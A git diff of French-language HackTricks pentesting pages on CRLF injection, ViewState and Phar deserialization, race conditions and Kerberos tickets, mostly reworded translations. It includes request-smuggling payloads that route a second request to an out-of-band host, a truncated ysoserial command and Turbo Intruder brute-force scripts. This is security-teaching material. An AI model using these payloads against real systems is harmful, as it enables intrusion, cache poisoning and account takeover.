* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -31,7 +31,7 @@ Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la
## Injection CRLF dans les applications web
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité directe de l'application web. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste des 10 principales vulnérabilités de l'OWASP. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité des applications web à impact direct. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste des 10 principales vulnérabilités de l'OWASP. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
#### Un exemple d'injection CRLF dans un fichier journal
@ -145,17 +145,17 @@ Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Ensuite, **spécifiez une deuxième requête**. Voici une **requête classique** [**d'empoisonnement de requête**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
Ensuite, **spécifiez une deuxième requête**. Voici une **requête d'empoisonnement classique** [**request smuggling**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
Spécifier un **préfixe malveillant** pour empoisonner soit la requête du prochain utilisateur, soit un cache web :
Spécifier un **préfixe malveillant** pour empoisonner la requête du prochain utilisateur ou un cache web :
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou créer notre préfixe pour le combiner avec les données inutiles finales et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file de réponses**.
Ou créer notre préfixe pour le combiner avec les données inutiles à la fin et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file d'attente de réponse**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Pour plus d'informations sur cette technique et les problèmes potentiels, **consultez la source originale**.
Pour plus d'informations sur cette technique et les problèmes potentiels, **consultez la source originale** (https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injection Memcache
@ -167,7 +167,7 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**.
Si une plateforme **prend des données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
Par exemple, dans la vulnérabilité découverte initialement, des clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
Par exemple, dans la vulnérabilité découverte initialement, les clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
@ -177,15 +177,15 @@ De plus, les chercheurs ont également découvert qu'ils pouvaient désynchronis
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**Pour obtenir toutes les informations, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/).
**Pour obtenir toutes les informations, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impacts de la vulnérabilité d'injection CRLF
Les impacts des injections CRLF varient et incluent également tous les impacts de la faille de script entre sites jusqu'à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
Les impacts des injections CRLF varient et incluent également tous les impacts de la faille de script intersite (XSS) à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
### Comment prévenir les injections CRLF / HTTP Header dans les applications web
### Comment prévenir les injections CRLF / HTTP Header dans les applications Web
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications Web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
### CHEAT SHEET
```
@ -222,9 +222,9 @@ La meilleure technique de prévention consiste à ne pas utiliser directement le
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -12,15 +12,15 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
## Qu'est-ce que ViewState
**ViewState** est la méthode que le framework ASP.NET utilise par défaut pour **préserver les valeurs des pages et des contrôles entre les pages web**. Lorsque le HTML de la page est rendu, l'état actuel de la page et les valeurs qui doivent être conservées lors d'un postback sont sérialisés en chaînes encodées en base64 et affichés dans le champ caché ViewState ou les champs ViewState.\
**ViewState** est la méthode que le framework ASP.NET utilise par défaut pour **préserver les valeurs des pages et des contrôles entre les pages web**. Lorsque le HTML de la page est rendu, l'état actuel de la page et les valeurs qui doivent être conservées lors d'un postback sont sérialisées en chaînes encodées en base64 et affichées dans le champ caché ViewState ou les champs ViewState.\
Les propriétés suivantes ou combinaison de propriétés s'appliquent aux informations ViewState :
* Base64
@ -52,9 +52,9 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### Cas de test 1.5 - Comme le cas de test 1, mais le cookie ViewState n'est pas envoyé par le serveur
Les développeurs peuvent **supprimer ViewState** pour qu'il ne fasse pas partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
On pourrait penser que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours parvenir à une **exécution de code** comme le montre le **cas 1**.
Les développeurs peuvent **supprimer ViewState** de devenir une partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
On peut supposer que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours parvenir à une **exécution de code** comme indiqué dans le **cas 1**.
### Cas de test : 2 - .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -124,9 +124,9 @@ Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par l
```
### Cas de test : 3 - .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true
Dans ce cas, Burp ne parvient pas à déterminer si le paramètre est protégé par un MAC car il ne reconnaît pas les valeurs. Ensuite, la valeur est probablement chiffrée et vous **avez besoin de la clé de machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
Dans ce cas, Burp ne détecte pas si le paramètre est protégé par un MAC car il ne reconnaît pas les valeurs. Ensuite, la valeur est probablement chiffrée et vous **avez besoin de la clé de machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
**Dans ce cas, le module** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **est en cours de développement...**
@ -136,7 +136,7 @@ Par conséquent, si la clé de machine est connue (par exemple via une vulnérab
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon une erreur de validation du MAC du ViewState sera renvoyée et l'exploitation échouera comme indiqué dans la figure :
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
### Cas de test : 4 - .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf si les deux attributs sont définis sur false
@ -148,7 +148,7 @@ Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'in
```bash
compatibilityMode="Framework45"
```
Comme dans le cas précédent, Burp ne détecte pas si la requête est protégée par MAC car la **valeur est chiffrée**. Par conséquent, pour envoyer une **charge utile valide, l'attaquant a besoin de la clé**.
Comme dans le cas précédent, Burp ne détecte pas si la requête est protégée par MAC car la **valeur est chiffrée**. Ainsi, pour envoyer une **charge utile valide, l'attaquant a besoin de la clé**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
@ -188,11 +188,11 @@ Vous devez utiliser un paramètre supplémentaire pour créer correctement la ch
```
### Résultat d'une exploitation réussie <a href="#poc" id="poc"></a>
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne "500 Internal server error" et le contenu de la réponse est "The state information is invalid for this page and might be corrupted". Nous obtenons également la requête OOB comme indiqué dans les figures ci-dessous :
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne "500 Internal server error" et le contenu de la réponse est "Les informations d'état sont invalides pour cette page et peuvent être corrompues". Nous obtenons également la demande OOB comme indiqué dans les figures ci-dessous :
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
requête hors bande avec le nom d'utilisateur actuel
demande hors bande avec le nom d'utilisateur actuel
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
@ -203,7 +203,7 @@ requête hors bande avec le nom d'utilisateur actuel
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -22,7 +22,7 @@ Les fichiers **Phar** (PHP Archive) contiennent des **métadonnées au format s
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
Imaginez donc une situation où vous pouvez faire en sorte qu'un site web PHP récupère la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à celle-ci :
Imaginez donc une situation où vous pouvez faire en sorte qu'un site web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à celle-ci :
{% code title="vunl.php" %}
```php
@ -85,9 +85,9 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -95,7 +95,7 @@ Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -52,7 +52,7 @@ Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains se
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur - indépendamment du jitter du réseau :
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptation à l'architecture cible**
@ -71,7 +71,7 @@ Si le réchauffement de la connexion ne fait aucune différence, il existe diff
En utilisant Turbo Intruder, vous pouvez introduire un léger délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque en un seul paquet. Par conséquent, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Au lieu de cela, vous pouvez résoudre ce problème en abusant d'une fonctionnalité de sécurité courante.
@ -85,11 +85,11 @@ Pour plus d'informations sur cette technique, consultez le rapport original sur
#### Exemples d'attaque
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité)**: Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans la liste déroulante:
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité)**: Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans la liste déroulante :
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers:
Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
```python
passwords = wordlists.clipboard
for password in passwords:
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en deux étapes de sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
* Pour un RC à **multi-point d'extrémité**, vous pouvez commencer par envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Bruteforce brut
@ -164,38 +164,6 @@ def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
La bibliothèque `asyncio` de Python est utilisée pour écrire du code asynchrone de manière concurrente. Elle permet d'exécuter des tâches en parallèle, ce qui est particulièrement utile pour les opérations d'entrée/sortie (I/O) intensives, telles que les appels réseau.
L'asynchronisme est basé sur le concept de coroutines, qui sont des fonctions spéciales pouvant être suspendues et reprises ultérieurement. Cela permet d'éviter les blocages et d'optimiser l'utilisation des ressources.
Pour utiliser `asyncio`, vous devez déclarer vos fonctions comme des coroutines en utilisant le mot-clé `async`. Vous pouvez ensuite les exécuter en utilisant la boucle d'événements `asyncio` et attendre les résultats avec le mot-clé `await`.
Voici un exemple simple d'utilisation de `asyncio` pour effectuer une requête HTTP asynchrone :
```python
import asyncio
import aiohttp
async def fetch(url):
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
return await response.text()
async def main():
url = "https://example.com"
response = await fetch(url)
print(response)
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
```
Dans cet exemple, la fonction `fetch` est une coroutine qui utilise la bibliothèque `aiohttp` pour effectuer une requête HTTP asynchrone. La fonction `main` est également une coroutine qui appelle `fetch` et attend le résultat.
La boucle d'événements `asyncio` est utilisée pour exécuter les coroutines et attendre leur achèvement. Dans cet exemple, nous utilisons la boucle d'événements par défaut en utilisant `asyncio.get_event_loop()`.
L'utilisation de `asyncio` peut améliorer considérablement les performances de votre code en permettant l'exécution concurrente de tâches. Cependant, il est important de noter que toutes les bibliothèques ne sont pas compatibles avec `asyncio`. Assurez-vous de vérifier la documentation de la bibliothèque que vous utilisez pour savoir si elle prend en charge `asyncio`.
```python
import asyncio
import httpx
@ -235,11 +203,11 @@ Il existe de nombreuses variations de ce type d'attaque, notamment :
* Noter un produit plusieurs fois
* Retirer ou transférer de l'argent en excédent de votre solde de compte
* Réutiliser une solution CAPTCHA unique
* Contourner une limite de taux anti-brute-force
* Contourner une limite de taux anti-brute force
### **Sous-états cachés**
Les RC les plus complexes exploiteront des **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**abuser** d'états auxquels il n'était **jamais censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
Les conditions de concurrence les plus complexes exploiteront des **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**exploiter** des états auxquels il n'était **pas censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
1. **Prédire les sous-états cachés et intéressants potentiels**
@ -261,21 +229,21 @@ Les opérations qui modifient des données existantes (comme le changement de l'
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une « clé », telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **Rechercher des indices**
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats réguliers. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
3. **Prouver le concept**
La dernière étape consiste à **prouver le concept et à le transformer en une attaque viable**.
La dernière étape consiste à **prouver le concept et le transformer en une attaque viable**.
Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de requêtes initiale déclenche un état final vulnérable, mais que les requêtes ultérieures l'écrasent/invalident et que l'état final n'est pas exploitable. Dans ce scénario, vous voudrez éliminer toutes les requêtes inutiles - deux devraient suffire pour exploiter la plupart des vulnérabilités. Cependant, passer à deux requêtes rendra l'attaque plus sensible au timing, vous devrez donc peut-être réessayer l'attaque plusieurs fois ou l'automatiser.
### Attaques sensibles au temps
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec une synchronisation précise** peuvent toujours révéler la présence d'autres vulnérabilités.
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec un timing précis** peuvent toujours révéler la présence d'autres vulnérabilités.
Un exemple est lorsque des **horodatages haute résolution sont utilisés au lieu de chaînes aléatoires cryptographiquement** sécurisées pour générer des jetons de sécurité.
@ -285,7 +253,7 @@ Considérons un **jeton de réinitialisation de mot de passe qui n'est aléatoir
Pour confirmer par exemple la situation précédente, vous pourriez simplement demander **2 jetons de réinitialisation de mot de passe en même temps** (en utilisant une attaque à paquet unique) et vérifier s'ils sont **identiques**.
{% endhint %}
Consultez [**l'exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
Consultez l'[**exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
## Études de cas sur les sous-états cachés
@ -295,7 +263,7 @@ Consultez [**l'exemple dans ce laboratoire**](https://portswigger.net/web-securi
### Confirmer d'autres e-mails
L'idée est de **vérifier une adresse e-mail et de la changer en une autre en même temps** pour savoir si la plateforme vérifie la nouvelle adresse modifiée.
L'idée est de **vérifier une adresse e-mail et la changer en une autre en même temps** pour savoir si la plateforme vérifie la nouvelle adresse modifiée.
### Changer l'e-mail en 2 adresses e-mail basées sur les cookies
@ -310,10 +278,9 @@ Si **2 écritures différentes** sont utilisées pour **ajouter** des **informat
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de confirmer un compte dont vous ne contrôlez pas l'e-mail.
Consultez [**ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour voir un exemple.
### Contourner l'authentification à deux facteurs (2FA)
Le pseudo-code suivant montre comment un site Web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
Le pseudo-code suivant démontre comment un site web pourrait être vulnérable à une variation de cette attaque basée sur une condition de concurrence (race condition) :
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -364,6 +331,6 @@ Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceConditio
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui à :
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -82,7 +82,7 @@ Avec **Rubeus**, vous pouvez demander tous ces tickets en utilisant le paramètr
## Abus des tickets de service
